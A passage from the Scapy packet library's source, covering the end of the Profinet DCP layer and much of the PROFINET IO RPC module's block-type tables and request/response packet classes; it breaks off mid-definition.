ProfinetDCP(service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST,\n            option=2, sub_option=2, dcp_data_length=14, dcp_block_length=10,\n            name_of_station=name, reserved=0)\n\n    \"\"\"\n\n    name = \"Profinet DCP\"\n    # a DCP PDU consists of some fields and 1..n DCP Blocks\n    fields_desc = [\n        ByteEnumField(\"service_id\", 5, DCP_SERVICE_ID),\n        ByteEnumField(\"service_type\", 0, DCP_SERVICE_TYPE),\n        XIntField(\"xid\", 0x01000001),\n        # XShortField('reserved', 0),\n\n        ShortField('reserved', 0),\n        LenField(\"dcp_data_length\", None),\n\n        # DCP REQUEST specific\n        ConditionalField(ByteEnumField(\"option\", 2, DCP_OPTIONS),\n                         lambda pkt: pkt.service_type == 0),\n        ConditionalField(\n            MultiEnumField(\"sub_option\", 3, DCP_SUBOPTIONS, fmt='B',\n                           depends_on=lambda p: p.option),\n            lambda pkt: pkt.service_type == 0),\n\n        # calculate the len fields - workaround\n        ConditionalField(LenField(\"dcp_block_length\", 0),\n                         lambda pkt: pkt.service_type == 0),\n\n        # DCP SET REQUEST #\n        ConditionalField(ShortEnumField(\"block_qualifier\", 1,\n                                        BLOCK_QUALIFIERS),\n                         lambda pkt: pkt.service_id == 4 and\n                         pkt.service_type == 0),\n        # (Common) Name Of Station\n        ConditionalField(\n            MultipleTypeField(\n                [\n                    (StrLenField(\"name_of_station\", \"et200sp\",\n                                 length_from=lambda x: x.dcp_block_length - 2),\n                     lambda pkt: pkt.service_id == 4),\n                ],\n                StrLenField(\"name_of_station\", \"et200sp\",\n                            length_from=lambda x: x.dcp_block_length),\n            ),\n            lambda pkt: pkt.service_type == 0 and pkt.option == 2 and\n            pkt.sub_option == 2\n        ),\n        # DCP SET REQUEST #\n        # MAC\n        ConditionalField(MACField(\"mac\", \"00:00:00:00:00:00\"),\n                         lambda pkt: pkt.service_id == 4 and\n                         pkt.service_type == 0 and pkt.option == 1 and\n                         pkt.sub_option == 1),\n        # IP\n        ConditionalField(IPField(\"ip\", \"192.168.0.2\"),\n                         lambda pkt: pkt.service_id == 4 and\n                         pkt.service_type == 0 and pkt.option == 1 and\n                         pkt.sub_option in [2, 3]),\n        ConditionalField(IPField(\"netmask\", \"255.255.255.0\"),\n                         lambda pkt: pkt.service_id == 4 and\n                         pkt.service_type == 0 and pkt.option == 1 and\n                         pkt.sub_option in [2, 3]),\n        ConditionalField(IPField(\"gateway\", \"192.168.0.1\"),\n                         lambda pkt: pkt.service_id == 4 and\n                         pkt.service_type == 0 and pkt.option == 1 and\n                         pkt.sub_option in [2, 3]),\n\n        # Full IP\n        ConditionalField(FieldListField(\"dnsaddr\", [], IPField(\"\", \"0.0.0.0\"),\n                                        count_from=lambda x: 4),\n                         lambda pkt: pkt.service_id == 4 and\n                         pkt.service_type == 0 and pkt.option == 1 and\n                         pkt.sub_option == 3),\n\n        # DCP IDENTIFY REQUEST #\n        # Name of station (handled above)\n\n        # Alias name\n        ConditionalField(StrLenField(\"alias_name\", \"et200sp\",\n                                     length_from=lambda x: x.dcp_block_length),\n                         lambda pkt: pkt.service_id == 5 and\n                         pkt.service_type == 0 and pkt.option == 2 and\n                         pkt.sub_option == 6),\n\n        # implement further REQUEST fields if needed ....\n\n        # DCP RESPONSE BLOCKS #\n        ConditionalField(\n            PacketListField(\"dcp_blocks\", [], guess_dcp_block_class,\n                            length_from=lambda p: p.dcp_data_length),\n            lambda pkt: pkt.service_type == 1),\n    ]\n\n    def post_build(self, pkt, pay):\n        # add padding to ensure min packet length\n\n        padding = MIN_PACKET_LENGTH - (len(pkt + pay))\n        pay += b\"\\0\" * padding\n\n        return Packet.post_build(self, pkt, pay)\n\n\nbind_layers(ProfinetDCP, Padding)\n"
  },
  {
    "path": "scapy/contrib/pnio_rpc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2016 Gauthier Sebaux\n\n# scapy.contrib.description = ProfinetIO Remote Procedure Call (RPC)\n# scapy.contrib.status = loads\n\n\"\"\"\nPNIO RPC endpoints\n\"\"\"\n\nimport struct\nfrom uuid import UUID\n\nfrom scapy.packet import Packet, Raw, bind_layers\nfrom scapy.config import conf\nfrom scapy.fields import BitField, ByteField, BitEnumField, ByteEnumField, \\\n    ConditionalField, FieldLenField, FieldListField, IntField, IntEnumField, \\\n    LenField, MACField, PadField, PacketField, PacketListField, \\\n    ShortEnumField, ShortField, StrFixedLenField, StrLenField, \\\n    UUIDField, XByteField, XIntField, XShortEnumField, XShortField\nfrom scapy.layers.dcerpc import DceRpc4, DceRpc4Payload\nfrom scapy.contrib.rtps.common_types import EField\nfrom scapy.compat import bytes_hex\nfrom scapy.volatile import RandUUID\n\n# Block Packet\nBLOCK_TYPES_ENUM = {\n    0x0001: \"AlarmNotification_High\",\n    0x0002: \"AlarmNotification_Low\",\n    0x0008: \"IODWriteReqHeader\",\n    0x0009: \"IODReadReqHeader\",\n    0x0010: \"DiagnosisData\",\n    0x0012: \"ExpectedIdentificationData\",\n    0x0013: \"RealIdentificationData\",\n    0x0014: \"SubsituteValue\",\n    0x0015: \"RecordInputDataObjectElement\",\n    0x0016: \"RecordOutputDataObjectElement\",\n    0x0018: \"ARData\",\n    0x0019: \"LogBookData\",\n    0x001a: \"APIData\",\n    0x001b: \"SRLData\",\n    0x0020: \"I&M0\",\n    0x0021: \"I&M1\",\n    0x0022: \"I&M2\",\n    0x0023: \"I&M3\",\n    0x0024: \"I&M4\",\n    0x0030: \"I&M0FilterDataSubmodule\",\n    0x0031: \"I&M0FilterDataModule\",\n    0x0032: \"I&M0FilterDataDevice\",\n    0x0101: \"ARBlockReq\",\n    0x0102: \"IOCRBlockReq\",\n    0x0103: \"AlarmCRBlockReq\",\n    0x0104: \"ExpectedSubmoduleBlockReq\",\n    0x0105: \"PrmServerBlockReq\",\n    0x0106: \"MCRBlockReq\",\n    0x0107: \"ARRPCBlockReq\",\n    0x0108: \"ARVendorBlockReq\",\n    0x0109: \"IRInfoBlock\",\n    0x010a: \"SRInfoBlock\",\n    0x010b: \"ARFSUBlock\",\n    0x0110: \"IODBlockReq_connect_end\",\n    0x0111: \"IODBlockReq_plug\",\n    0x0112: \"IOXBlockReq_connect\",\n    0x0113: \"IOXBlockReq_plug\",\n    0x0114: \"ReleaseBlockReq\",\n    0x0116: \"IOXBlockReq_companion\",\n    0x0117: \"IOXBlockReq_rt_class_3\",\n    0x0118: \"IODBlockReq_connect_begin\",\n    0x0119: \"SubmoduleListBlock\",\n    0x0200: \"PDPortDataCheck\",\n    0x0201: \"PdevData\",\n    0x0202: \"PDPortDataAdjust\",\n    0x0203: \"PDSyncData\",\n    0x0204: \"IsochronousModeData\",\n    0x0205: \"PDIRData\",\n    0x0206: \"PDIRGlobalData\",\n    0x0207: \"PDIRFrameData\",\n    0x0208: \"PDIRBeginEndData\",\n    0x0209: \"AdjustDomainBoundary\",\n    0x020a: \"SubBlock_check_Peers\",\n    0x020b: \"SubBlock_check_LineDelay\",\n    0x020c: \"SubBlock_check_MAUType\",\n    0x020e: \"AdjustMAUType\",\n    0x020f: \"PDPortDataReal\",\n    0x0210: \"AdjustMulticastBoundary\",\n    0x0211: \"PDInterfaceMrpDataAdjust\",\n    0x0212: \"PDInterfaceMrpDataReal\",\n    0x0213: \"PDInterfaceMrpDataCheck\",\n    0x0214: \"PDPortMrpDataAdjust\",\n    0x0215: \"PDPortMrpDataReal\",\n    0x0216: \"MrpManagerParams\",\n    0x0217: \"MrpClientParams\",\n    0x0219: \"MrpRingStateData\",\n    0x021b: \"AdjustLinkState\",\n    0x021c: \"CheckLinkState\",\n    0x021e: \"CheckSyncDifference\",\n    0x021f: \"CheckMAUTypeDifference\",\n    0x0220: \"PDPortFODataReal\",\n    0x0221: \"FiberOpticManufacturerSpecific\",\n    0x0222: \"PDPortFODataAdjust\",\n    0x0223: \"PDPortFODataCheck\",\n    0x0224: \"AdjustPeerToPeerBoundary\",\n    0x0225: \"AdjustDCPBoundary\",\n    0x0226: \"AdjustPreambleLength\",\n    0x0228: \"FiberOpticDiagnosisInfo\",\n    0x022a: \"PDIRSubframeData\",\n    0x022b: \"SubframeBlock\",\n    0x022d: \"PDTimeData\",\n    0x0230: \"PDNCDataCheck\",\n    0x0231: \"MrpInstanceDataAdjustBlock\",\n    0x0232: \"MrpInstanceDataRealBlock\",\n    0x0233: \"MrpInstanceDataCheckBlock\",\n    0x0240: \"PDInterfaceDataReal\",\n    0x0250: \"PDInterfaceAdjust\",\n    0x0251: \"PDPortStatistic\",\n    0x0400: \"MultipleBlockHeader\",\n    0x0401: \"COContainerContent\",\n    0x0500: \"RecordDataReadQuery\",\n    0x0600: \"FSHelloBlock\",\n    0x0601: \"FSParameterBlock\",\n    0x0608: \"PDInterfaceFSUDataAdjust\",\n    0x0609: \"ARFSUDataAdjust\",\n    0x0700: \"AutoConfiguration\",\n    0x0701: \"AutoConfigurationCommunication\",\n    0x0702: \"AutoConfigurationConfiguration\",\n    0x0703: \"AutoConfigurationIsochronous\",\n    0x0A00: \"UploadBLOBQuery\",\n    0x0A01: \"UploadBLOB\",\n    0x0A02: \"NestedDiagnosisInfo\",\n    0x0F00: \"MaintenanceItem\",\n    0x0F01: \"UploadRecord\",\n    0x0F02: \"iParameterItem\",\n    0x0F03: \"RetrieveRecord\",\n    0x0F04: \"RetrieveAllRecord\",\n    0x8001: \"AlarmAckHigh\",\n    0x8002: \"AlarmAckLow\",\n    0x8008: \"IODWriteResHeader\",\n    0x8009: \"IODReadResHeader\",\n    0x8101: \"ARBlockRes\",\n    0x8102: \"IOCRBlockRes\",\n    0x8103: \"AlarmCRBlockRes\",\n    0x8104: \"ModuleDiffBlock\",\n    0x8105: \"PrmServerBlockRes\",\n    0x8106: \"ARServerBlockRes\",\n    0x8107: \"ARRPCBlockRes\",\n    0x8108: \"ARVendorBlockRes\",\n    0x8110: \"IODBlockRes_connect_end\",\n    0x8111: \"IODBlockRes_plug\",\n    0x8112: \"IOXBlockRes_connect\",\n    0x8113: \"IOXBlockRes_plug\",\n    0x8114: \"ReleaseBlockRes\",\n    0x8116: \"IOXBlockRes_companion\",\n    0x8117: \"IOXBlockRes_rt_class_3\",\n    0x8118: \"IODBlockRes_connect_begin\",\n}\n\n# IODWriteReq & IODWriteMultipleReq Packets\nIOD_WRITE_REQ_INDEX = {\n    0x8000: \"ExpectedIdentificationData_subslot\",\n    0x8001: \"RealIdentificationData_subslot\",\n    0x800a: \"Diagnosis_channel_subslot\",\n    0x800b: \"Diagnosis_all_subslot\",\n    0x800c: \"Diagnosis_Maintenance_subslot\",\n    0x8010: \"Maintenance_required_in_channel_subslot\",\n    0x8011: \"Maintenance_demanded_in_channel_subslot\",\n    0x8012: \"Maintenance_required_in_all_channels_subslot\",\n    0x8013: \"Maintenance_demanded_in_all_channels_subslot\",\n    0x801e: \"SubstitueValue_subslot\",\n    0x8020: \"PDIRSubframeData_subslot\",\n    0x8028: \"RecordInputDataObjectElement_subslot\",\n    0x8029: \"RecordOutputDataObjectElement_subslot\",\n    0x802a: \"PDPortDataReal_subslot\",\n    0x802b: \"PDPortDataCheck_subslot\",\n    0x802c: \"PDIRData_subslot\",\n    0x802d: \"Expected_PDSyncData_subslot\",\n    0x802f: \"PDPortDataAdjust_subslot\",\n    0x8030: \"IsochronousModeData_subslot\",\n    0x8031: \"Expected_PDTimeData_subslot\",\n    0x8050: \"PDInterfaceMrpDataReal_subslot\",\n    0x8051: \"PDInterfaceMrpDataCheck_subslot\",\n    0x8052: \"PDInterfaceMrpDataAdjust_subslot\",\n    0x8053: \"PDPortMrpDataAdjust_subslot\",\n    0x8054: \"PDPortMrpDataReal_subslot\",\n    0x8060: \"PDPortFODataReal_subslot\",\n    0x8061: \"PDPortFODataCheck_subslot\",\n    0x8062: \"PDPortFODataAdjust_subslot\",\n    0x8070: \"PdNCDataCheck_subslot\",\n    0x8071: \"PDInterfaceAdjust_subslot\",\n    0x8072: \"PDPortStatistic_subslot\",\n    0x8080: \"PDInterfaceDataReal_subslot\",\n    0x8090: \"Expected_PDInterfaceFSUDataAdjust\",\n    0x80a0: \"Energy_saving_profile_record_0\",\n    0x80b0: \"CombinedObjectContainer\",\n    0x80c0: \"Sequence_events_profile_record_0\",\n    0xaff0: \"I&M0\",\n    0xaff1: \"I&M1\",\n    0xaff2: \"I&M2\",\n    0xaff3: \"I&M3\",\n    0xaff4: \"I&M4\",\n    0xc000: \"Expect edIdentificationData_slot\",\n    0xc001: \"RealId entificationData_slot\",\n    0xc00a: \"Diagno sis_channel_slot\",\n    0xc00b: \"Diagnosis_all_slot\",\n    0xc00c: \"Diagnosis_Maintenance_slot\",\n    0xc010: \"Maintenance_required_in_channel_slot\",\n    0xc011: \"Maintenance_demanded_in_channel_slot\",\n    0xc012: \"Maintenance_required_in_all_channels_slot\",\n    0xc013: \"Maintenance_demanded_in_all_channels_slot\",\n    0xe000: \"ExpectedIdentificationData_AR\",\n    0xe001: \"RealIdentificationData_AR\",\n    0xe002: \"ModuleDiffBlock_AR\",\n    0xe00a: \"Diagnosis_channel_AR\",\n    0xe00b: \"Diagnosis_all_AR\",\n    0xe00c: \"Diagnosis_Maintenance_AR\",\n    0xe010: \"Maintenance_required_in_channel_AR\",\n    0xe011: \"Maintenance_demanded_in_channel_AR\",\n    0xe012: \"Maintenance_required_in_all_channels_AR\",\n    0xe013: \"Maintenance_demanded_in_all_channels_AR\",\n    0xe040: \"WriteMultiple\",\n    0xe050: \"ARFSUDataAdjust_AR\",\n    0xf000: \"RealIdentificationData_API\",\n    0xf00a: \"Diagnosis_channel_API\",\n    0xf00b: \"Diagnosis_all_API\",\n    0xf00c: \"Diagnosis_Maintenance_API\",\n    0xf010: \"Maintenance_required_in_channel_API\",\n    0xf011: \"Maintenance_demanded_in_channel_API\",\n    0xf012: \"Maintenance_required_in_all_channels_API\",\n    0xf013: \"Maintenance_demanded_in_all_channels_API\",\n    0xf020: \"ARData_API\",\n    0xf80c: \"Diagnosis_Maintenance_device\",\n    0xf820: \"ARData\",\n    0xf821: \"APIData\",\n    0xf830: \"LogBookData\",\n    0xf831: \"PdevData\",\n    0xf840: \"I&M0FilterData\",\n    0xf841: \"PDRealData\",\n    0xf842: \"PDExpectedData\",\n    0xf850: \"AutoConfiguration\",\n    0xf860: \"GSD_upload\",\n    0xf861: \"Nested_Diagnosis_info\",\n    0xfbff: \"Trigger_index_CMSM\",\n}\n\n# ARBlockReq Packets\nAR_TYPE = {\n    0x0001: \"IOCARSingle\",\n    0x0006: \"IOSAR\",\n    0x0010: \"IOCARSingle_RT_CLASS_3\",\n    0x0020: \"IOCARSR\",\n}\n\n# IOCRBlockReq Packets\nIOCR_TYPE = {\n    0x0001: \"InputCR\",\n    0x0002: \"OutputCR\",\n    0x0003: \"MulticastProviderCR\",\n    0x0004: \"MulticastConsumerCR\",\n}\n\nIOCR_BLOCK_REQ_IOCR_PROPERTIES = {\n    0x1: \"RT_CLASS_1\",\n    0x2: \"RT_CLASS_2\",\n    0x3: \"RT_CLASS_3\",\n    0x4: \"RT_CLASS_UDP\",\n}\n\nMAU_TYPE = {\n    0x0000: \"Radio\",\n    0x001e: \"1000-BaseT-FD\"\n}\n\nMAU_EXTENSION = {\n    0x0000: \"None\",\n    0x0100: \"Polymeric-Optical-Fiber\"\n}\n\nLINKSTATE_LINK = {\n    0x0000: \"Reserved\",\n    0x0001: \"Up\",\n    0x0002: \"Down\",\n    0x0003: \"Testing\",\n    0x0004: \"Unknown\",\n    0x0005: \"Dormant\",\n    0x0006: \"NotPresent\",\n    0x0007: \"LowerLayerDown\",\n}\n\nLINKSTATE_PORT = {\n    0x0000: \"Unknown\",\n    0x0001: \"Disabled/Discarding\",\n    0x0002: \"Blocking\",\n    0x0003: \"Listening\",\n    0x0004: \"Learning\",\n    0x0005: \"Forwarding\",\n    0x0006: \"Broken\",\n    0x0007: \"Reserved\",\n}\n\nMEDIA_TYPE = {\n    0x00: \"Unknown\",\n    0x01: \"Copper cable\",\n    0x02: \"Fiber optic cable\",\n    0x03: \"Radio communication\"\n}\n\n# List of all valid activity UUIDs for the DceRpc layer with PROFINET RPC\n# endpoint.\n#\n# Because these are used in overloaded_fields, it must be a ``UUID``, not a\n# string.\nRPC_INTERFACE_UUID = {\n    \"UUID_IO_DeviceInterface\": UUID(\"dea00001-6c97-11d1-8271-00a02442df7d\"),\n    \"UUID_IO_ControllerInterface\":\n        UUID(\"dea00002-6c97-11d1-8271-00a02442df7d\"),\n    \"UUID_IO_SupervisorInterface\":\n        UUID(\"dea00003-6c97-11d1-8271-00a02442df7d\"),\n    \"UUID_IO_ParameterServerInterface\":\n        UUID(\"dea00004-6c97-11d1-8271-00a02442df7d\"),\n}\n\n\n# Generic Block Packet\nclass BlockHeader(Packet):\n    \"\"\"Abstract packet to centralize block headers fields\"\"\"\n    fields_desc = [\n        ShortEnumField(\"block_type\", None, BLOCK_TYPES_ENUM),\n        ShortField(\"block_length\", None),\n        ByteField(\"block_version_high\", 1),\n        ByteField(\"block_version_low\", 0),\n    ]\n\n    def __new__(cls, name, bases, dct):\n        raise NotImplementedError()\n\n\nclass Block(Packet):\n    \"\"\"A generic block packet for PNIO RPC\"\"\"\n    fields_desc = [\n        BlockHeader,\n        StrLenField(\"load\", \"\", length_from=lambda pkt: pkt.block_length - 2),\n    ]\n    # default block_type\n    block_type = 0\n\n    def post_build(self, p, pay):\n        # update the block_length if needed\n        if self.block_length is None:\n            # block_length and block_type are not part of the length count\n            length = len(p) - 4\n            p = p[:2] + struct.pack(\"!H\", length) + p[4:]\n\n        return Packet.post_build(self, p, pay)\n\n    def extract_padding(self, s):\n        # all fields after block_length are included in the length and must be\n        # subtracted from the pdu length l\n        length = self.payload_length()\n        return s[:length], s[length:]\n\n    def payload_length(self):\n        \"\"\" A function for each block, to determine the length of\n        the payload \"\"\"\n        return 0  # default, no payload\n\n\n# Specific Block Packets\n#     IODControlRe{q,s}\nclass IODControlReq(Block):\n    \"\"\"IODControl request block\"\"\"\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"padding\", \"\", length=2),\n        UUIDField(\"ARUUID\", None),\n        ShortField(\"SessionKey\", 0),\n        XShortField(\"AlarmSequenceNumber\", 0),\n        # ControlCommand\n        BitField(\"ControlCommand_reserved\", 0, 9),\n        BitField(\"ControlCommand_PrmBegin\", 0, 1),\n        BitField(\"ControlCommand_ReadyForRT_CLASS_3\", 0, 1),\n        BitField(\"ControlCommand_ReadyForCompanion\", 0, 1),\n        BitField(\"ControlCommand_Done\", 0, 1),\n        BitField(\"ControlCommand_Release\", 0, 1),\n        BitField(\"ControlCommand_ApplicationReady\", 0, 1),\n        BitField(\"ControlCommand_PrmEnd\", 0, 1),\n        XShortField(\"ControlBlockProperties\", 0)\n    ]\n\n    def post_build(self, p, pay):\n        # Try to find the right block type\n        if self.block_type is None:\n            if self.ControlCommand_PrmBegin:\n                p = struct.pack(\"!H\", 0x0118) + p[2:]\n            elif self.ControlCommand_ReadyForRT_CLASS_3:\n                p = struct.pack(\"!H\", 0x0117) + p[2:]\n            elif self.ControlCommand_ReadyForCompanion:\n                p = struct.pack(\"!H\", 0x0116) + p[2:]\n            elif self.ControlCommand_Release:\n                p = struct.pack(\"!H\", 0x0114) + p[2:]\n            elif self.ControlCommand_ApplicationReady:\n                if self.AlarmSequenceNumber > 0:\n                    p = struct.pack(\"!H\", 0x0113) + p[2:]\n                else:\n                    p = struct.pack(\"!H\", 0x0112) + p[2:]\n            elif self.ControlCommand_PrmEnd:\n                if self.AlarmSequenceNumber > 0:\n                    p = struct.pack(\"!H\", 0x0111) + p[2:]\n                else:\n                    p = struct.pack(\"!H\", 0x0110) + p[2:]\n        return Block.post_build(self, p, pay)\n\n    def get_response(self):\n        \"\"\"Generate the response block of this request.\n        Careful: it only sets the fields which can be set from the request\n        \"\"\"\n        res = IODControlRes()\n        for field in [\"ARUUID\", \"SessionKey\", \"AlarmSequenceNumber\"]:\n            res.setfieldval(field, self.getfieldval(field))\n\n        res.block_type = self.block_type + 0x8000\n        return res\n\n\nclass IODControlRes(Block):\n    \"\"\"IODControl response block\"\"\"\n    fields_desc = [\n        BlockHeader,\n        StrFixedLenField(\"padding\", \"\", length=2),\n        UUIDField(\"ARUUID\", None),\n        ShortField(\"SessionKey\", 0),\n        XShortField(\"AlarmSequenceNumber\", 0),\n        # ControlCommand\n        BitField(\"ControlCommand_reserved\", 0, 9),\n        BitField(\"ControlCommand_PrmBegin\", 0, 1),\n        BitField(\"ControlCommand_ReadyForRT_CLASS_3\", 0, 1),\n        BitField(\"ControlCommand_ReadyForCompanion\", 0, 1),\n        BitField(\"ControlCommand_Done\", 1, 1),\n        BitField(\"ControlCommand_Release\", 0, 1),\n        BitField(\"ControlCommand_ApplicationReady\", 0, 1),\n        BitField(\"ControlCommand_PrmEnd\", 0, 1),\n        XShortField(\"ControlBlockProperties\", 0)\n    ]\n\n    # default block_type value\n    block_type = 0x8110\n    # The block_type can be among 0x8110 to 0x8118 except 0x8115\n    # The right type is however determine by the type of the request\n    # (same type as the request + 0x8000)\n\n\n#     IODWriteRe{q,s}\nclass IODWriteReq(Block):\n    \"\"\"IODWrite request block\"\"\"\n    fields_desc = [\n        BlockHeader,\n        ShortField(\"seqNum\", 0),\n        UUIDField(\"ARUUID\", None),\n        XIntField(\"API\", 0),\n        XShortField(\"slotNumber\", 0),\n        XShortField(\"subslotNumber\", 0),\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XShortEnumField(\"index\", 0, IOD_WRITE_REQ_INDEX),\n        LenField(\"recordDataLength\", None, fmt=\"I\"),\n        StrFixedLenField(\"RWPadding\", \"\", length=24),\n    ]\n    # default block_type value\n    block_type = 0x0008\n\n    def payload_length(self):\n        return self.recordDataLength\n\n    def get_response(self):\n        \"\"\"Generate the response block of this request.\n        Careful: it only sets the fields which can be set from the request\n        \"\"\"\n        res = IODWriteRes()\n        for field in [\"seqNum\", \"ARUUID\", \"API\", \"slotNumber\",\n                      \"subslotNumber\", \"index\"]:\n            res.setfieldval(field, self.getfieldval(field))\n        return res\n\n\nclass IODWriteRes(Block):\n    \"\"\"IODWrite response block\"\"\"\n    fields_desc = [\n        BlockHeader,\n        ShortField(\"seqNum\", 0),\n        UUIDField(\"ARUUID\", None),\n        XIntField(\"API\", 0),\n        XShortField(\"slotNumber\", 0),\n        XShortField(\"subslotNumber\", 0),\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XShortEnumField(\"index\", 0, IOD_WRITE_REQ_INDEX),\n        LenField(\"recordDataLength\", None, fmt=\"I\"),\n        XShortField(\"additionalValue1\", 0),\n        XShortField(\"additionalValue2\", 0),\n        IntEnumField(\"status\", 0, [\"OK\"]),\n        StrFixedLenField(\"RWPadding\", \"\", length=16),\n    ]\n    # default block_type value\n    block_type = 0x8008\n\n\n#     IODReadRe{q,s}\nclass IODReadReq(Block):\n    \"\"\"IODRead request block\"\"\"\n    fields_desc = [\n        BlockHeader,\n        ShortField(\"seqNum\", 0),\n        UUIDField(\"ARUUID\", None),\n        XIntField(\"API\", 0),\n        XShortField(\"slotNumber\", 0),\n        XShortField(\"subslotNumber\", 0),\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XShortEnumField(\"index\", 0, IOD_WRITE_REQ_INDEX),\n        LenField(\"recordDataLength\", None, fmt=\"I\"),\n        StrFixedLenField(\"RWPadding\", \"\", length=24),\n    ]\n    block_type = 0x0009\n\n    def payload_length(self):\n        return self.recordDataLength\n\n    def get_response(self):\n        res = IODReadRes()\n        for field in [\"seqNum\", \"ARUUID\", \"API\", \"slotNumber\",\n                      \"subslotNumber\", \"index\"]:\n            res.setfieldval(field, self.getfieldval(field))\n        return res\n\n\nclass IODReadRes(Block):\n    \"\"\"IODRead response block\"\"\"\n    fields_desc = [\n        BlockHeader,\n        ShortField(\"seqNum\", 0),\n        UUIDField(\"ARUUID\", None),\n        XIntField(\"API\", 0),\n        XShortField(\"slotNumber\", 0),\n        XShortField(\"subslotNumber\", 0),\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XShortEnumField(\"index\", 0, IOD_WRITE_REQ_INDEX),\n        LenField(\"recordDataLength\", None, fmt=\"I\"),\n        XShortField(\"additionalValue1\", 0),\n        XShortField(\"additionalValue2\", 0),\n        StrFixedLenField(\"RWPadding\", \"\", length=20),\n    ]\n    block_type = 0x8009\n\n\nF_PARAMETERS_BLOCK_ID = [\n    \"No_F_WD_Time2_No_F_iPar_CRC\", \"No_F_WD_Time2_F_iPar_CRC\",\n    \"F_WD_Time2_No_F_iPar_CRC\", \"F_WD_Time2_F_iPar_CRC\",\n    \"reserved_4\", \"reserved_5\", \"reserved_6\", \"reserved_7\"\n]\n\n\nclass FParametersBlock(Packet):\n    \"\"\"F-Parameters configuration block\"\"\"\n    name = \"F-Parameters Block\"\n    fields_desc = [\n        # F_Prm_Flag1\n        BitField(\"F_Prm_Flag1_Reserved_7\", 0, 1),\n        BitField(\"F_CRC_Seed\", 0, 1),\n        BitEnumField(\"F_CRC_Length\", 0, 2,\n                     [\"CRC-24\", \"depreciated\", \"CRC-32\", \"reserved\"]),\n        BitEnumField(\"F_SIL\", 2, 2, [\"SIL_1\", \"SIL_2\", \"SIL_3\", \"No_SIL\"]),\n        BitField(\"F_Check_iPar\", 0, 1),\n        BitField(\"F_Check_SeqNr\", 0, 1),\n\n        # F_Prm_Flag2\n        BitEnumField(\"F_Par_Version\", 1, 2,\n                     [\"V1\", \"V2\", \"reserved_2\", \"reserved_3\"]),\n        BitEnumField(\"F_Block_ID\", 0, 3, F_PARAMETERS_BLOCK_ID),\n        BitField(\"F_Prm_Flag2_Reserved\", 0, 2),\n        BitField(\"F_Passivation\", 0, 1),\n\n        XShortField(\"F_Source_Add\", 0),\n        XShortField(\"F_Dest_Add\", 0),\n        ShortField(\"F_WD_Time\", 0),\n        ConditionalField(\n            cond=lambda p: p.getfieldval(\"F_Block_ID\") & 0b110 == 0b010,\n            fld=ShortField(\"F_WD_Time_2\", 0)),\n        ConditionalField(\n            cond=lambda p: p.getfieldval(\"F_Block_ID\") & 0b101 == 0b001,\n            fld=XIntField(\"F_iPar_CRC\", 0)),\n        XShortField(\"F_Par_CRC\", 0)\n    ]\n    overload_fields = {\n        IODWriteReq: {\n            \"index\": 0x100,  # commonly used index for F-Parameters block\n        }\n    }\n\n\nbind_layers(IODWriteReq, FParametersBlock, index=0x0100)\nbind_layers(FParametersBlock, conf.padding_layer)\n\n\n#     IODWriteMultipleRe{q,s}\nclass PadFieldWithLen(PadField):\n    \"\"\"PadField which handles the i2len function to include padding\"\"\"\n\n    def i2len(self, pkt, val):\n        \"\"\"get the length of the field, including the padding length\"\"\"\n        fld_len = self.fld.i2len(pkt, val)\n        return fld_len + self.padlen(fld_len, pkt)\n\n\nclass IODWriteMultipleReq(Block):\n    \"\"\"IODWriteMultiple request\"\"\"\n    fields_desc = [\n        BlockHeader,\n        ShortField(\"seqNum\", 0),\n        UUIDField(\"ARUUID\", None),\n        XIntField(\"API\", 0xffffffff),\n        XShortField(\"slotNumber\", 0xffff),\n        XShortField(\"subslotNumber\", 0xffff),\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XShortEnumField(\"index\", 0, IOD_WRITE_REQ_INDEX),\n        FieldLenField(\"recordDataLength\", None, fmt=\"I\", length_of=\"blocks\"),\n        StrFixedLenField(\"RWPadding\", \"\", length=24),\n        FieldListField(\"blocks\", [],\n                       PadFieldWithLen(PacketField(\"\", None, IODWriteReq), 4),\n                       length_from=lambda pkt: pkt.recordDataLength)\n    ]\n    # default values\n    block_type = 0x0008\n    index = 0xe040\n    API = 0xffffffff\n    slotNumber = 0xffff\n    subslotNumber = 0xffff\n\n    def post_build(self, p, pay):\n        # patch the update of block_length, as requests field must not be\n        # included. block_length is always 60\n        if self.block_length is None:\n            p = p[:2] + struct.pack(\"!H\", 60) + p[4:]\n\n        # Remove the final padding added in requests\n        fld, val = self.getfield_and_val(\"blocks\")\n        if fld.i2count(self, val) > 0:\n            length = len(val[-1])\n            pad = fld.field.padlen(length, self)\n            if pad > 0:\n                p = p[:-pad]\n                # also reduce the recordDataLength accordingly\n                if self.recordDataLength is None:\n                    val = struct.unpack(\"!I\", p[36:40])[0]\n                    val -= pad\n                    p = p[:36] + struct.pack(\"!I\", val) + p[40:]\n\n        return Packet.post_build(self, p, pay)\n\n    def get_response(self):\n        \"\"\"Generate the response block of this request.\n        Careful: it only sets the fields which can be set from the request\n        \"\"\"\n        res = IODWriteMultipleRes()\n        for field in [\"seqNum\", \"ARUUID\", \"API\", \"slotNumber\",\n                      \"subslotNumber\", \"index\"]:\n            res.setfieldval(field, self.getfieldval(field))\n\n        # append all block response\n        res_blocks = []\n        for block in self.getfieldval(\"blocks\"):\n            res_blocks.append(block.get_response())\n        res.setfieldval(\"blocks\", res_blocks)\n        return res\n\n\nclass IODWriteMultipleRes(Block):\n    \"\"\"IODWriteMultiple response\"\"\"\n    fields_desc = [\n        BlockHeader,\n        ShortField(\"seqNum\", 0),\n        UUIDField(\"ARUUID\", None),\n        XIntField(\"API\", 0xffffffff),\n        XShortField(\"slotNumber\", 0xffff),\n        XShortField(\"subslotNumber\", 0xffff),\n        StrFixedLenField(\"padding\", \"\", length=2),\n        XShortEnumField(\"index\", 0, IOD_WRITE_REQ_INDEX),\n        FieldLenField(\"recordDataLength\", None, fmt=\"I\", length_of=\"blocks\"),\n        XShortField(\"additionalValue1\", 0),\n        XShortField(\"additionalValue2\", 0),\n        IntEnumField(\"status\", 0, [\"OK\"]),\n        StrFixedLenField(\"RWPadding\", \"\", length=16),\n        FieldListField(\"blocks\", [], PacketField(\"\", None, 